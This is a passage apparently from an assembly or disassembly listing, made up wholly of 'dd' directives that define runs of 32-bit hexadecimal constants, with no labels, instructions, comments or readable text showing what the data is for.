		dd 1D8D70EBh, 661A1D98h, 850580D6h, 28215346h, 4D75E207h
		dd 40903E9Ch, 6132CBh, 6F881931h, 0E655697h, 6AE91F05h
		dd 0D60E03AEh, 0C622E005h, 0AB2550h, 121DA511h,	0AF0A5406h
		dd 1244C00h, 77714FDh, 68FE6303h, 5E05B8Ah, 5F3B5D62h
		dd 0A25A03B3h, 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h, 4E7FDED9h
		dd 10F688EFh, 41CC2000h, 22496F5Bh, 196A00D8h, 92F53942h
		dd 54015DE7h, 0C0A38C1Bh, 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh
		dd 0B8F0D860h, 0C4DA1400h, 5309FF65h, 5AEE0Fh, 0AA2BBB25h
		dd 0A4290532h, 44EC3700h, 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h
		dd 5800EF32h, 19F7EAA7h, 0F8BD7076h, 223B00D7h,	2C683603h
		dd 2E008D66h, 0C74543E4h, 0EA8271h, 7802F45Fh, 33CAE055h
		dd 0BD49F300h, 30AE2040h, 17DC0053h, 0E251606Fh, 230722D8h
		dd 68D413C0h, 0DEE7A627h, 0D0C4A3E0h, 6F730348h, 9BCCA251h
		dd 8FE87AEBh, 763BC812h, 1AF50710h, 0B7D7C429h,	0C0F1A8D1h
		dd 0C81BD3FCh, 0B8C0BC4Eh, 77C1D05Fh, 0B4451F9Eh, 1E42B036h
		dd 4303B022h, 148D7A37h, 0E8DBE3ACh, 3EA878D4h,	1FF49C8Bh
		dd 5F4DA4D1h, 884740BDh, 0DEB790A0h, 0C19C4CC8h, 12E74398h
		dd 0A5691094h, 0F75C2C00h, 84DA04D8h, 12EEFE4Eh, 7BFD5C4h
		dd 943DA9ACh, 61BBC007h, 40004E70h, 2571626Bh, 3B691C65h
		dd 0FF007775h, 57ADCC67h, 0BC002C9Eh, 0DAE74272h, 0C34316h
		dd 0EB22354Eh, 1D6CD5CCh, 13D895h, 3768B8B9h, 0C5648DBh
		dd 0D8BD0B00h, 41FA4E4h, 5FE800D6h, 0E3FE0146h,	0E2F4297Eh
		dd 0F44D6200h, 17B11E9Ch, 0A5C00ACh, 4FF2C727h,	1B002910h
		dd 0DA6CB74Ah, 3E3BA908h, 5F8346C2h, 0EE58E276h, 515EB5E0h
		dd 30E1F43Ah, 3E1378D4h, 0A8BC0020h, 0DA9057A2h, 8504DC36h
		dd 341D0425h, 53DD6FC0h, 0F982008Fh, 0E9A7AAA3h, 4B005DC9h
		dd 5B30D398h, 78E83Dh, 0F7700651h, 0D91E148h, 0A3184700h
		dd 3D83438Ch, 0C9FEA2h,	0ECC28EF4h, 0DBF12124h,	3A14538h
		dd 6838801Ah, 0AAAA875h, 94431FFDh, 6E90004h, 0C525A2D9h
		dd 0E88660E3h, 2AD0AF60h, 0FC2336h, 6E3BBF7h, 1DF8682Fh
		dd 0A0F4EA00h, 86C42B13h, 0A11C0721h, 0C1768528h, 0F4176984h
		dd 7007A41h, 954DBE5h, 0B44AE3h, 9E151AA0h, 0CA2B89B6h
		dd 458BD401h, 952AA2B8h, 1D6B0F20h, 40E2F343h, 4B2FDC3Dh
		dd 970192FBh, 7C67F55Dh, 71F07908h, 89AF0F84h, 34228CD4h
		dd 0E3E35465h, 87EB50EBh, 25FF16F8h, 0C0F84400h, 1C401099h
		dd 478E003Ch, 91342338h, 2C00C830h, 247228E4h, 0E21C2039h
		dd 18412D8Eh, 3F30D4h, 0A4C4B4A6h, 3E6D29DDh, 5002814h
		dd 94E8F35Ah, 0B5F2BF4Fh, 8404D000h, 0B05F76D2h, 0C9440081h
		dd 5DA1708Ah, 8000FC01h, 2EFF0B7Ch, 0FED175h, 7D3944BDh
		dd 4C740482h, 9B3FEB00h, 7B8AF19h, 0D0C10080h, 40B2E937h
		dd 13009839h, 29D8B60Fh, 3BF7750Ah, 5C0AE0BFh, 1E964E35h
		dd 0CB02C121h, 0E8A5E983h, 410072FBh, 880F7F0Ch, 2402C4Ch
		dd 75CAFE0Dh, 0AFC0DAA3h, 0B10023F9h, 6E22DDABh, 0B540F6h
		dd 51E29456h, 2DC5BE53h, 69DE0F2Eh, 0E72CC400h,	0F8D2B8CCh
		dd 0BE190175h, 0C7D9BA29h, 8205D4ADh, 4A10700h,	182B376Ch
		dd 1688006Bh, 22F35EDEh, 531C4FD7h, 0EDD2C220h,	7998B900h
		dd 28FF6B26h, 0BC2CA6h,	0C7031E14h, 0A406D950h,	7E0CBF1Dh
		dd 0D82B0D47h, 4AC0F8D7h, 422ABE3h, 2C71C582h, 0E4888032h
		dd 8900141Fh, 2E051043h, 1060Ch, 667F6854h, 3D53004h, 0DF6EC800h
		dd 0C6097D60h, 6B484805h, 62842Eh, 7C7A90FEh, 0BD0A6ADFh
		dd 0F61DC6FBh, 0B7452501h, 0D520A67Bh, 64D5037Eh, 5F107CEEh
		dd 96700AD8h, 0E7AE3507h, 4FE05A14h, 3E2016ACh,	180A9FBh
		dd 0A897E8ECh, 0D3F87556h, 0B2EB8E00h, 0AA055F71h, 58531750h
		dd 0C8ACF047h, 0B39F1400h, 374A0460h, 8C661FAAh, 0C73E1CCEh
		dd 0FEEC71Dh
		dd 2E35A6A0h, 0BC00C9BFh, 81100540h, 41878h, 7554D7B1h
		dd 0C2A4AC15h, 77A4848h, 81274A58h, 0F3EB2053h,	0B204D085h
		dd 145C77D7h, 0CD0EC862h, 2CF82401h, 0CD5EC390h, 1EF2E074h
		dd 0CCE1A300h, 80ED6A29h, 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh
		dd 38D4923Fh, 66A28010h, 25439F0h, 7A8600E8h, 0EE8AC8E0h
		dd 0CD00AF42h, 0F00D217Fh, 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh
		dd 0CB8362C6h, 8065DF39h, 11B3E882h, 9545F02h, 3C995C31h
		dd 0D95EC000h, 0E80B9C13h, 80C15274h, 699208CAh, 0B963398Dh
		dd 4AB68000h, 18201514h, 7AA20C01h, 4352DF90h, 973477E5h
		dd 9CE47Dh, 0E8C28B30h,	0A73D322Ah, 16032500h, 59396491h
		dd 0B66E390Ch, 0FE701080h, 131ED48h, 87E86700h,	46BA44Dh
		dd 88E422h, 0A8903419h,	80282429h, 0E0103D02h, 0C0135074h
		dd 0FBBB9E3h, 0D75B059Eh, 5CA7F320h, 0F7044C0Bh, 0C139E034h
		dd 2E4E9980h, 92D0006Fh, 40A5C779h, 0D400CF7Fh,	64882238h
		dd 4B5073h, 4C20AA52h, 0D60CBED8h, 21AE2701h, 3F2C8F16h
		dd 1CF5CD4h, 5ABB4A3Ch,	307B71ABh, 8000019Ch, 742DFC78h
		dd 0B8D71Eh, 135DB2A4h,	0DE2F0451h, 4F5A8000h, 0E16A88C6h
		dd 34E252h, 6789D877h, 0E5D7B8A7h, 6500C275h, 2EE19608h
		dd 1E58595Bh, 0BA64354Bh, 825AB501h, 0F4D0D727h, 0F000ADE9h
		dd 0EB3F19A8h, 8AE705h,	0BC84A663h, 5C766AE1h, 0E810C004h
		dd 0FAC04607h, 12D11Bh,	47653D1Dh, 0E688554h, 8ECE3EFAh
		dd 0CFABAA50h, 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h, 4F0B2A51h
		dd 0C95C00CFh, 44B942C2h, 0BA1E4813h, 825FD378h, 3C7A9882h
		dd 1CA66032h, 36DC00B8h, 130EBF15h, 71011A74h, 64FDBBBAh
		dd 0DF61EB7Fh, 0FE2FF4h, 0B2799554h, 0A7D3A45Ah, 0A35B9800h
		dd 6E200775h, 47741C6Fh, 7B80BC66h, 144450D1h, 45004840h
		dd 30204F4Ch, 3E7355h, 3A69572Eh, 0ACDE6874h, 0B498C4A0h
		dd 3B498700h, 92F0D5AFh, 29F700FBh, 0EFE388C5h,	0FC00A23Ch
		dd 351B9886h, 2F9CB8h, 0EB4E90E2h, 8B3301C0h, 4967C807h
		dd 0ABF4BA3Ch, 2B736980h, 0A8420020h, 0FEA32D9Fh, 62002C03h
		dd 0A75D253h, 0A54494h,	0E38F8BDDh, 49F3C755h, 3CF8F970h
		dd 800CFC3Dh, 7CA3853Eh, 4AF1ABD5h, 58B812h, 0E233545Bh
		dd 8D49D2h, 22F7EE4Dh, 0D5E42878h, 694EF900h, 0F17F7B32h
		dd 19C23E5Fh, 0F22BD101h, 0C008BCF5h, 4900414Dh, 5246204Ch
		dd 1C3AF04Fh, 40885BEDh, 0B047DE9Ah, 1509A1E2h,	14008E4h
		dd 205450DEh, 5E4FE0h, 1CCCA3Ah, 0DD0814E8h, 0D85D8900h
		dd 0EE4E3250h, 698F05AFh, 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h
		dd 94D9A4C7h, 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh, 0AB00E5B4h
		dd 3B63F059h, 3EC3064h,	0C429C314h, 77BB4418h, 0F622CAF0h
		dd 0D443BA00h, 0A137C99Dh, 0B8CF00A7h, 2173BE1h, 25B0C1ECh
		dd 0E6004298h, 6B2CAB38h, 470FF4h, 94688D8Bh, 3B42406Eh
		dd 0A701DC03h, 0D857CBF3h, 0B441C14h, 0D8A65441h, 4612F880h
		dd 6D07C861h, 205C8725h, 0F4FBFFE0h, 88090028h,	7F977553h
		dd 2A008DADh, 8A2C144Ch, 922BDFh, 2D5E2858h, 32B3C9E5h
		dd 0F3781600h, 616CC82Fh, 6E3E0069h, 68631D3Bh,	1F0072D6h
		dd 493DC024h, 2D4F53h, 7535E238h, 4C315639h, 0E21293Dh
		dd 40437ACBh, 45E5ED66h, 6F633BF4h, 67706480h, 62382C8Ah
		dd 0F627561Eh, 53F45881h, 97E47D91h, 70830F7Eh,	8525E6C8h
		dd 5FE983C9h, 0B725D5B8h, 1092D400h, 0EC4F6A7Fh, 0D32300B4h
		dd 0E6CF62D6h, 0A531266Fh, 686ECCFFh, 35343D0h,	4CE7A3B8h
		dd 9FE96958h, 5251F8F4h, 38F7EF00h, 39829794h, 3A413CE7h
		dd 881400F3h, 0A484C06Ch, 103F2A8Bh, 8A88F40h, 3839A042h
		dd 701AAF0h, 4A4784Ch, 0F61560AFh, 501C820h, 30C16590h
		dd 0AF81910h, 0F36FE29h, 0CA08C060h, 2D81CC69h,	0F42B2C05h
		dd 957D5A64h, 4D282703h, 0B81DD9E2h, 0E46EC161h, 0A560073h
		dd 70DDB898h, 663F5269h, 804036Ch, 0A04650A1h, 0EC37Ch
		dd 0B6D7EBE8h, 8D8157B4h, 320780E2h, 1C54B09Ch,	1E0E405Eh
		dd 0F194E9F5h, 154FD0FBh, 73E3B06Bh, 483C019Ah,	743E7F6h
		dd 670C86Fh, 44ED7900h,	5D977854h, 3484000Ah, 5817DAF9h
		dd 0D40AF791h, 0E57538A0h, 0A26D2A00h, 717464h,	8D704C52h
		dd 453CAE72h, 39403Ch, 0D05F5089h, 5BBD94h, 75488555h
		dd 7D8AF9F6h, 742FE73Fh, 0FEFFF800h, 173EF82h, 2E90B63h
		dd 0F38065D9h, 888B1BA0h, 956F7400h, 28692C91h,	0DF034C5Ah
		dd 0D91FE905h, 92038099h, 2000686Ah, 0FD858D55h, 0B8BE81DFh
		dd 0D8F60B3Ah, 8500A101h, 492F8A7Eh, 57281707h,	1DC095ECh
		dd 750A5B9h, 16294A7Bh,	5FB43025h, 0AB0090EAh, 0C449C60Eh
		dd 1AD93680h, 404C6728h, 8DE959E0h, 8E73297Bh, 592D3Bh
		dd 0FB3AE571h, 4E182Ah,	0C9825CA6h, 0F51A8D89h,	0F0FC8700h
		dd 5768BDA2h, 9F7A3C96h, 0F8423180h, 49BF14EAh,	1DEB1903h
		dd 0C388C892h, 0FB83AB90h, 57ED00Ch, 61300FB8h,	0E7E0558Dh
		dd 0AF918696h, 0C32D321Dh, 82C8C0CAh, 60C4A00h,	26D858Ah
		dd 25ECB5BBh, 18E01844h, 6E00EB2Ch, 0A7D04936h,	1D28E6h
		dd 1AC83C42h, 0CB24C90h, 2958241Eh, 399E82C0h, 76481730h
		dd 2E2D0064h, 0EB50B11Ch, 8E00BBD6h, 0BD800A65h, 0B88269h
		dd 203FFA6Ch, 0BADAF8Bh, 4B214E01h, 0E15E0CB3h,	0E73ECh
		dd 804F3332h, 6B447629h, 0F8CA5D1Ch, 0E88010DEh, 0C55765E3h
		dd 0B0200B5h, 5EEB8C68h, 4500DA0Fh, 0EAFF8995h,	78E9AF74h
		dd 55A7011Dh, 598AC47h,	5C06607Dh, 4B00DAF2h, 2C3E20CEh
		dd 1D921CD2h, 0C0D5C9E9h, 93C8F9D3h, 0E8FAD8FDh, 0A4F9B750h
		dd 689D3B00h, 0A879AF2Fh, 1CC9043h, 0CB8588Ah, 0E4E54020h
		dd 0C17CA7C8h, 0AF7A4807h, 0E9C0D90Fh, 1F64F5A4h, 6629EEh
		dd 8F100E8Ah, 500A5ECh,	3101B9EDh, 3EA263D5h, 0D803C6Dh
		dd 0B4E14CDAh, 61003FECh, 0AFBC683Eh, 40DB14h, 9E97E805h
		dd 0F77BF6FDh, 0ECCC1112h, 14F45A00h, 0F816A037h, 0D8450084h
		dd 9F89AB25h, 0D97906BAh, 0B8EE6902h, 43F28D4Bh, 0B794E063h
		dd 10520220h, 0F3D76D7Bh, 770E8960h, 9DD96900h,	0ECE4AF02h
		dd 24F57945h, 4A9216h, 6ABE5A7Ch, 2C704ED1h, 4F880E00h
		dd 5122036Eh, 72710066h, 5660A06Dh, 64002567h, 21F8966Ch
		dd 79C9534Fh, 8A936734h, 458EDE1Eh, 25AFB4A0h, 0F700ABD4h
		dd 0EDCF16D5h, 784AEA7h, 31EFBB83h, 0B09E6039h,	0BA00280Dh
		dd 69B1EDE4h, 50FC60h, 1DA2838Bh, 0C64507FDh, 9012DD00h
		dd 0BCC8B01Ah, 21C01E11h, 22C44FACh, 0CC21F032h, 0A4D04400h
		dd 0D8D44086h, 0CA00189h, 12E081DCh, 0C03E719Ch, 680084E8h
		dd 90B48521h, 3F032ECh,	0D51AC435h, 8BD86CB0h, 0AA3C064Bh
		dd 0D96A9E89h, 0B6AB4580h, 0D6C447h, 0F84E2EEDh, 951B3C8h
		dd 70C47550h, 25290209h, 0CBAD8078h, 0FE32AD61h, 42140063h
		dd 50628864h, 8E676973h, 3F838A10h, 937C9C5h, 8FBC4h, 50C15C6Bh
		dd 0A685EF41h, 589F4403h, 0C0E23DA4h, 4CF7F6h, 0F8324AF9h
		dd 434838CFh, 0CCAA2700h, 335DE10Dh, 20F076Eh, 31A6FFB8h
		dd 0C819F8E9h, 1B5CDD7Ch, 4C0B00A9h, 0DBF3489Bh, 621F3F69h
		dd 4E62B8Eh, 0B6700F80h, 102BA25h, 68B0A27Bh, 0AF4FE0F4h
		dd 0D427012Fh, 75330518h, 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h
		dd 1AEC57Ch
		dd 753AAC68h, 0CCA16D48h, 81003CEFh, 266AFBD7h,	0A09C4Ch
		dd 420D312Dh, 2409940Ah, 13C4400h, 6B40716Dh, 3FC50060h
		dd 5CE6B033h, 2D3B18A5h, 5BF78009h, 468BEA08h, 9102022Eh
		dd 2CB90B78h, 534B8F40h, 76008778h, 0D1D77F2h, 8F010h
		dd 8C022249h, 53140446h, 38838001h, 2F26D49Eh, 206A30h
		dd 3C705B9Fh, 0F233B85Fh, 0CFC40B00h, 79084725h, 0F8D1EAD3h
		dd 0FE8CFE84h, 4B98038Ah, 0A01636A3h, 608657C7h, 424611ACh
		dd 8771EC0Eh, 20A18E10h, 0E6F5DE14h, 0B394001Ah, 82E8950Fh
		dd 0B90001E0h, 0B7AE53DDh, 9078764Ch, 416900DAh, 0B416E421h
		dd 0E31E6891h, 198345DCh, 98E02C10h, 78C6CA1h, 84DE3388h
		dd 0BAE3C0A2h, 77006355h, 790A9CABh, 1700BF0h, 1B22F34Bh
		dd 0E7EA1415h, 57C0CBC3h, 8500E118h, 0C1A5AEDCh, 3014C210h
		dd 0FB22958Bh, 3D0053D8h, 0A0654827h, 60683C49h, 18E7AE05h
		dd 500037F7h, 5514A2A1h, 7674129Ah, 9E210076h, 1CA4D822h
		dd 95032991h, 0B81A118Bh, 1873884Ch, 0D485020Ah, 0C9A2437h
		dd 892727E0h, 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh, 0AC903C29h
		dd 0E400B0C8h, 19B43240h, 441CB8h, 7EBC4386h, 7C87A684h
		dd 0C4548906h, 1AC812h,	91CC214Ch, 28BF48D0h, 0B6D9500h
		dd 5B9038Bh, 2B363D96h,	2CDFD400h, 3CD7AD8Eh, 8D711718h
		dd 5A39ECh, 3E98B2BAh, 99285295h, 513EACB8h, 8370147h
		dd 218E428Fh, 0C6E5E8h,	7DB15EBDh, 4A8513F2h, 0D70669FCh
		dd 0BA120523h, 8BE7002Eh, 533509D0h, 570040DCh,	39717064h
		dd 4A6C6Ah, 249FEBC5h, 4803E29Dh, 650063F4h, 779A4166h
		dd 0F5D50CAh, 640EE09Ch, 473D2080h, 757C255Bh, 7F888E00h
		dd 0A614FAFDh, 784A0B10h, 0A804C8Fh, 6D0B735Fh,	93054FF2h
		dd 22EC8488h, 0F454B7C0h, 79F07906h, 0FCB76B0h,	4E7930F8h
		dd 0FC2D8580h, 1E00C47Eh, 0C24FDAECh, 0A0F786h,	27E853BFh
		dd 7C26B549h, 800D0F3Bh, 0CE57036Ah, 7FF64CDh, 93536F30h
		dd 7D4B7169h, 3E5A30EAh, 77DB0A16h, 4F8C703h, 0A801B874h
		dd 0D09B0044h, 788D102Ah, 4D00E0DFh, 0FA591703h, 0AA0D8Eh
		dd 0BA439185h, 7EADB474h, 5510D500h, 0EEB1612Eh, 8838002Ah
		dd 9BBDEC85h, 9709DFABh, 5C201656h, 30F90079h, 948DE406h
		dd 3E179500h, 5A57CDB9h, 0CFC50312h, 0F455116Ah, 3D2A4590h
		dd 0E22E8107h, 0D321B2DBh, 79CCC954h, 7CF300A5h, 0D02DC8A4h
		dd 7500241Eh, 0F225AC6Ch, 2C3A7649h, 0A6F697h, 70714130h
		dd 69006C13h, 86A9AC63h, 630E6420h, 94FD28F2h, 0B202D3D8h
		dd 0B700A0EAh, 0FC8E41F5h, 3C3E96DBh, 0E980D088h, 0D20F3510h
		dd 7C1F909Fh, 69C7B78Ch, 1CF093C2h, 0B8F403h, 226ECE8h
		dd 352504A1h, 52BCE00h,	0D5D3A79Ch, 0F7BE0011h,	0E5971042h
		dd 8203A54Ah, 480EF6C1h, 99D5C019h, 94E701BEh, 6186662Ah
		dd 0B8ECF450h, 7D0E1803h, 0B83D22DDh, 2B29Dh, 139B5A25h
		dd 5772ACF8h, 0D6E46E00h, 99082788h, 0B24F0324h, 3F8A491Fh
		dd 1C714AE0h, 0EF225Ch,	0EF42BD9Ah, 3B09D2h, 2ABCAC45h
		dd 8F5BEE1h, 0BA38E407h, 0F8774307h, 0CB30B0D3h, 352C883Ah
		dd 362A009Dh, 34283D06h, 74399110h, 677200C0h, 62431D70h
		dd 64C30077h, 0A1286D66h, 5C036568h, 8A976318h,	12F1A80Bh
		dd 5D405C10h, 6A6E0900h, 8F0E6560h, 2668A000h, 1A786255h
		dd 7D7B0067h, 0E4F3DD28h, 0F600BE42h, 7A389514h, 0F99A156h
		dd 9BE80435h, 2760A2E0h, 0C5007625h, 0DA49CC1Ah, 7FE04890h
		dd 0E6CB0028h, 0EB144F22h, 0DE006A23h, 9025F42Ah, 280421BFh
		dd 0A8EAF7h, 0C58B0745h, 94CF77F6h, 41DC490Bh, 75B18089h
		dd 63F816h, 64535110h, 77712407h, 700073E6h, 62752676h
		dd 777C691Ch, 0F9900029h, 5C244A15h, 6B7F074Ch,	57006F7Fh
		dd 197BC728h, 0A02A1405h, 955689h, 24848913h, 836AA372h
		dd 0EBF4220Fh, 0BCEFF7h, 4BD79001h, 19200049h, 6BC48B7Eh
		dd 0CC0256BAh, 2566B322h, 64D7867Ah, 49E700E2h,	5614E350h
		dd 0C800B801h, 130FABCAh, 29ACD8h, 0C32DCE3Bh, 276AE45Ch
		dd 21574509h, 9A07D751h, 0A050B72Ah, 0A907ED97h, 0B2112B00h
		dd 0AD2F5FE9h, 0CB1B48F7h, 0BB35BC00h, 9FAA141Dh, 0D9EE9200h
		dd 46163AF4h, 0A319030Ah, 0CFD8254Fh, 458655F8h, 48125B7Ch
		dd 0ED00A60Eh, 401F496Eh, 754A0047h, 13836653h,	200107Dh
		dd 0C16AF90Ch, 7FC317h,	4B8142EBh, 2C0AD520h, 892F1301h
		dd 0D40708F6h, 0FC64C4ECh, 0F748001Fh, 0DCC31645h, 21072EE6h
		dd 0E319920Fh, 31590840h, 31B97A2Bh, 0BFEA3648h, 0D0856009h
		dd 0EEFF2800h, 0ADC705Fh, 15890004h, 64A87B0h, 2D501245h
		dd 68056ED0h, 0EF82CD8h, 403FB687h, 0D102AAD6h,	0BB400293h
		dd 0C855F5E2h, 0BA8560C0h, 75F7CC00h, 48AC955Ah, 4AB90013h
		dd 11F4ADD7h, 803908C4h, 4EEC4EC9h, 9884FB14h, 10146A00h
		dd 398F32FFh, 395BAB2Ch, 77404E1Dh, 0D920E52Ch,	307A45h
		dd 2D83DC05h, 0A10B40C4h, 2B6BE802h, 0E1A32341h, 77F01879h
		dd 0D4E00FC7h, 6CA0F82Ah, 5708E999h, 0E152F903h, 782A8CEh
		dd 50B814A4h, 5F9E40D5h, 64B8CA4Ch, 68F95E0Fh, 332DA083h
		dd 7AB4F001h, 58A7035Ah, 0B82005B5h, 0E02AAAD9h, 0FC7050C4h
		dd 0A5093Bh, 34058EB4h,	24F397ADh, 4F16A4h, 0E80183B8h
		dd 39005E33h, 980A7448h, 161506h, 20135DD1h, 0EFC138EBh
		dd 2FFA2400h, 34CA2EA3h, 4479030Eh, 6454231Bh, 0E26E3988h
		dd 52DC7C00h, 0E4DAEA32h, 33560071h, 0FB35C810h, 4002C94h
		dd 34301C84h, 162238h, 0EFFA8068h, 28E21065h, 3732C400h
		dd 0EA9DE860h, 432E00C0h, 74276E61h, 6C00201Dh,	0A64DA6Fh
		dd 3FC41A77h, 28731E58h, 18B22C3h, 5A9EFC08h, 0EB540584h
		dd 0EC1811E9h, 8D01801Ch, 0F0524F0Ch, 88C05C15h, 83420168h
		dd 0F1750AFAh, 7EC06EBDh, 6C9ED5h, 0FF558817h, 82297F3h
		dd 0EC832500h, 10111C93h, 5C01750Ch, 213B7F6h, 0C34C002Dh
		dd 0A80D03D6h, 18D38400h, 22155F2Fh, 6A6B0320h,	8AA2D55Ch
		dd 0CFA132A3h, 37F2F4AFh, 4700EAB8h, 8524F710h,	1482C7h
		dd 0CB560B23h, 0C47FBE4Eh, 0C07B0300h, 48C39428h, 1B2500C8h
		dd 0B00C5793h, 473B3140h, 224E0053h, 8126A01Ch,	0C3511FBCh
		dd 766DC00Bh, 482F680Ah, 1BDEFC01h, 2041A452h, 8D3BE8h
		dd 0B8E72490h, 89F89F5Eh, 8A0FFC30h, 0AD6D22h, 77C90576h
		dd 833AFBC4h, 9DF00805h, 0B240E8D4h, 1130222Ch,	7C097234h
		dd 9F370744h, 2079D5EAh, 0C5B55DF8h, 0C3647200h, 8870B7AAh
		dd 5A7C36h, 0F89838FBh,	0D9ED63E9h, 670E8900h, 87F8310h
		dd 0EF9200DCh, 0EB755AA9h, 5DFAC244h, 0B2A8DB00h, 0B41B2C34h
		dd 431C0736h, 4F8E7630h, 0E0380979h, 0B4009086h, 3EE8B0Eh
		dd 8482EDh, 535718EFh, 2019320Bh, 0FCA41400h, 0CDDE752Ah
		dd 5E40ED4h, 2C201021h,	34443088h, 0EB382000h, 0DA7E9732h
		dd 84F000C4h, 0B4A2EF46h, 0AA00073Dh, 0B7B63FC2h, 482A4Dh
		dd 31918757h, 0C39ADFA5h, 770DA900h, 49C2C6E9h,	0FC2E000Ch
		dd 1CC7B2C9h, 0D89D0EF7h, 5CE8078Fh, 0F037B1B5h, 7A9D5443h
		dd 0A1978200h, 0E4BB8335h, 72321D2Fh, 7BA6009Fh, 95431518h
		dd 3A24223Ah, 1F2C3C8Bh, 7E404981h, 4C09A9ABh, 40FC8Dh
		dd 1FF752F5h, 0B46B76FFh, 7B81100h, 7A31BC4Bh, 836C0014h
		dd 0FF09B068h, 0E0003D5h
		dd 0E0987ED6h, 0EA508D63h, 12723892h, 2B2C6B00h, 7DB68E8h
		dd 0D55B3B00h, 6C0251ACh, 0D4055810h, 0F825E003h, 33D82A78h
		dd 5E019722h, 7707C4E7h, 0E430EDD0h, 13AD002Ch,	0B3034F05h
		dd 0D678A226h, 59957700h, 50408ABBh, 9DAC00C7h,	0C42C9B5Dh
		dd 4400E6EBh, 0AA4F453Dh, 1CB0DE92h, 801F645Fh,	8E00CB4h
		dd 0DC1F16B8h, 26002C2Ah, 69A6FAFCh, 68A0032h, 0EEF17D50h
		dd 5A00EB99h, 20D803BCh, 40C00Ch, 5DFEC4D4h, 1DF8C85Bh
		dd 639D7C00h, 62046942h, 16FA009Bh, 3640C611h, 0B1002266h
		dd 63144D67h, 38BC5F68h, 1A808D3Ch, 0A3F3AC3Eh,	60E62FBh
		dd 8029BB36h, 0F4531B6Ah, 43141D10h, 0ED5CE3Ah,	13FCBE0h
		dd 0F0037D89h, 0CDAA0FB0h, 42AB9085h, 4EC0128h,	17BF39EBh
		dd 0E488E052h, 63844407h, 0B2E0AAE0h, 0F379A27h, 537F5FBAh
		dd 0F081A947h, 8BF3C3B0h, 89E4F007h, 9050F6F8h,	0E6720A78h
		dd 41020048h, 646D69A9h, 0BD0033EEh, 0ADDCB368h, 22EA54h
		dd 0FC44D815h, 7198A5D4h, 0A18F000h, 5EBD7943h,	0D0C80122h
		dd 0D6CCA7F6h, 0DF5F7052h, 6F3D2900h, 9B177293h, 0FB5F0024h
		dd 3B052BA3h, 730E0C58h, 250181EFh, 7A871942h, 9CC0B544h
		dd 2F3031C7h, 0C37ED92Bh, 3858BF00h, 0E636A6h, 0FDBEBA70h
		dd 69ABD42Fh, 78D80D00h, 4F71CCE8h, 0BC8D2CEAh,	8BF00032h
		dd 0BF99E455h, 81DE5E3Bh, 0C6AB6BFBh, 21E82AE0h, 9D430712h
		dd 90C2C788h, 18E7E4AAh, 1C750500h, 45724019h, 0BEBC0117h
		dd 0C9744792h, 8E89305Eh, 1405CC2Ch, 1345F500h,	0EC6A6093h
		dd 0F762018Ch, 25F25886h, 0B9830B9h, 4F071EEAh,	0AEE83EFFh
		dd 9E369CA0h, 0EC200E4Dh, 5EE02384h, 75AD19A9h,	1741090Fh
		dd 70038557h, 29DACC0h,	76DC00E8h, 8199101Ah, 0C01DFDF3h
		dd 8B005B07h, 0D619917Fh, 94090022h, 0E76AA888h, 2901A263h
		dd 0F5A75DF3h, 4AC41D8Dh, 68530081h, 0AD6F8A4h,	94287506h
		dd 0CD00E954h, 0F210B329h, 22CD5A7h, 34970D31h,	740F649h
		dd 9B3CCEBCh, 20A28094h, 0E17D41Eh, 388700C5h, 3B56422Eh
		dd 0D60028C8h, 1BD29990h, 9876572Dh, 4B100059h,	0A5583553h
		dd 0E3000B44h, 523B2C3Dh, 179382Ah, 0F469BD16h,	0E45E1739h
		dd 8000BA0Bh, 5261C91Fh, 0EA6FF72h, 3D7B2416h, 65AB7160h
		dd 6660233Eh, 0C12BC6E8h, 0C3FCE4h, 1653F2D4h, 2F7D044Ch
		dd 8010973Eh, 30A47CBAh, 1BD395Fh, 0F886B774h, 0EC66F7B2h
		dd 24003E96h, 135EEC21h, 16878Ah, 0FA23D52Fh, 36E8A952h
		dd 58787D90h, 0F2549B00h, 84A30277h, 0B96D001Fh, 0AE37FB79h
		dd 3B012711h, 2887A2ECh, 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch
		dd 9D0065A1h, 429AC8Eh,	6A13DAh, 0A662E756h, 0A4D7471Fh
		dd 5FDF2Dh, 0A062C7Bh, 15E8EDCBh, 0C6386084h, 0C6647DE0h
		dd 912871Fh, 0B6EBCD07h, 0FFCFFBF0h, 243C00F9h,	2E7FDA91h
		dd 4D5CD293h, 3F070089h, 0B88B08D5h, 77A41DDFh,	48A680ABh
		dd 0D011AFA3h, 26B9071Fh, 8458BB40h, 3768EB5h, 0FF6B8FE5h
		dd 17A0C321h, 743AE247h, 78A40009h, 405BC083h, 597AF3h
		dd 558AC203h, 74B81820h, 28754Ch, 641C9C08h, 15D8B97h
		dd 0F851A87Ch, 0FC2494E7h, 0E0175B46h, 0C0000179h, 0BA5C1347h
		dd 32DD3A0Ah, 88730D83h, 8A80ED33h, 8DFE2F44h, 340571Ch
		dd 282D51Fh, 0E0FD8345h, 0EEF05D1h, 0BD08778Bh,	68D5200Bh
		dd 0D0978Eh, 0FD9E5E4Ch, 0F977C4D9h, 96EC1600h,	0BE41FC55h
		dd 0A0B01ACh, 0D883061Ah, 0C087617Dh, 5200148Dh, 2D974489h
		dd 0CB3D6Ch, 696A2188h,	0F1FA1612h, 1F4AC800h, 3A7FF95Bh
		dd 97150089h, 748F2E70h, 3006860h, 0ED754DF0h, 4A9142h
		dd 0FD2F1AF9h, 627D7E9Bh, 420358h, 46204788h, 89B617h
		dd 8551D687h, 18E00BA1h, 5425BA01h, 0F3137565h,	0A5E947EDh
		dd 1117060h, 0A2920D42h, 0E8AB54B9h, 15FCF141h,	1CC020FCh
		dd 887A1D94h, 84F40F4Fh, 2FCF2BF5h, 0BD857642h,	0F642AA80h
		dd 8A3E957Ah, 0BB3C3Eh,	0D321A2DEh, 0F67D3DF7h,	0EF540077h
		dd 9DAF8AFAh, 2976C24Ah, 671C1100h, 0A5BA582Ch,	68500762h
		dd 37D7E344h, 132250BBh, 890020FDh, 31C8F09Fh, 7730E453h
		dd 9117B28h, 5623F4B7h,	0B2622A8Fh, 0D0E01EF8h,	4C76FCC8h
